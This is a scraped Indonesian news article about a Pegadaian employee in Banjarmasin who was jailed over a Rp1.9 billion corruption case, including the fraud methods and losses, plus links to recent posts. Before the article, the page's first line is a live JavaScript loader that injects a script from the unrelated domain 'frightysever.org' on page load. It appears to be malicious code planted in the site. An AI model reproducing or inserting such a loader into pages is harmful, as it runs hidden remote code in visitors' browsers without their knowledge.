(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Pegawai Pegadaian di Banjarmasin Tersangka Korupsi Rp1,9 Miliar, Ini Modusnya


KANALKALIMANTAN.COM, BANJARMASIN – Seorang pegawai Pegadaian Unit Kantor Cabang Ksatrian Banjarmasin berinisial E dijebloskan ke penjara setelah ditetapkan tersangka oleh penyidik Kejari Banjarmasin.

E diduga melakukan tindak pidana korupsi berupa penyalahgunaan jabatan atau fraud yang menyebabkan kerugian negara mencapai Rp1,9 miliar.

Kepala Kejari Banjarmasin Dr Indah Laila melalui Kasi Intel Dimas SH mengungkapkan, perbuatan tersangka selaku pengelola agunan dilakukan sejak tahun 2021 hingga 2022.

Ada empat modus yang dilakukan, yakni menahan pelunasan pada 10 kredit pelunasan dengan kerugian senilai Rp913.250.00.

Baca juga: Yusuf Tertimbun Sedalam 10 Meter di Pendulangan Intan Pumpung

Kemudian, gadai fiktif jaminan tidak ada berupa 2 pinjaman dengan kerugian Rp88.200.000. Gadai fiktif jaminan bukan emas sebanyak 36 pinjaman dengan nilai total kerugian Rp684.100.000.

Terakhir taksiran tinggi fiktif, sebanyak 11 pinjaman dengan kerugian Rp118.660.000.

“Perbuatan E ini merugikan negara sebesar Rp1.902.394.720, namun dia (Tersangka E, red) membayar Rp467.865.000,” kata Dimas.

Ulah korup E disangkakan melanggar pasal 2 atau pasal 3 Undang-Undang Nomor 31 Tahun 1999 sebagaimana diubah dengan Undang-Undang Nomor 20 Tahun 2001 tentang Pemberantasan Tindak Pidana Korupsi. “Kami terus melakukan pengembangan terhadap kasus ini,” ujarnya.

Baca juga: BNN Banjarbaru: Tren Pasien Rehabilitasi Meningkat

Dimas mengatakan, penahanan E didasarkan Surat Perintah Penahanan nomor: Prin-1306/O.3.10/Fd.2/10/2024 tanggal 29 Oktober 2024.

Dengan mengenakan rompi oranye, E akhirnya digiring ke Lembaga Permasyarakatan (Lapas) Kelas II A Banjarmasin, Jalan Mayien Sutoyo S pada Selasa (29/10/2024) malam.

E akan menjalani penahanan selama 20 hari kedepan sebagai tahan titipan untuk kepentingan penyidikan. (Kanalkalimantan.com/rizki)

Reporter: rizki
Editor: bie

 


Risa

Recent Posts

Pembebasan Lahan Bendungan Riam Kiwa Mendesak Atasi Banjir Tahunan

KANALKALIMANTAN.COM, BANJARMASIN - Balai Wilayah Sungai (BWS) Kalimantan III menyatakan kesiapan mempercepat pembangunan Bendungan Riam… Read More

2 jam ago

Cek Pelayanan Kesehatan Berjalan Optimal, Bupati Wiyatno Audiensi ke RSUD Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno melakukan kunjungan kerja sekaligus audiensi dengan… Read More

5 jam ago

67 Ribu Warga Tak Lagi Ditanggung BPJS Kesehatan, Pemko Banjarmasin Upayakan Pengaktifan Kembali

KANALKALIMANTAN.COM, BANJARMASIN — Masyarakat di Kota Banjarmasin sangat terpukul dengan kebijakan penonaktifan massal kepesertaan BPJS… Read More

21 jam ago

Janji Wali Kota Yamin Tertibkan Bangunan di Atas Sungai

KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin, H Muhammad Yamin HR menyoroti bangunan yang berdiri di… Read More

23 jam ago

MAFINDO Kalsel Bekali Guru di Banjarmasin Memahami Teknologi Kecerdasan Buatan

KANALKALIMANTAN.COM, BANJARMASIN - Membuka tahun 2026, Masyarakat Anti Fitnah Indonesia (MAFINDO) Kalimantan Selatan (Kalsel) menggelar… Read More

23 jam ago

Pengelolaan UNESCO Global Geopark Meratus Diperkuat

Saat ini Ada 17 Situs Geologi Utama, 50 Titik Potensial Masih Dikaji Read More

1 hari ago

This website uses cookies.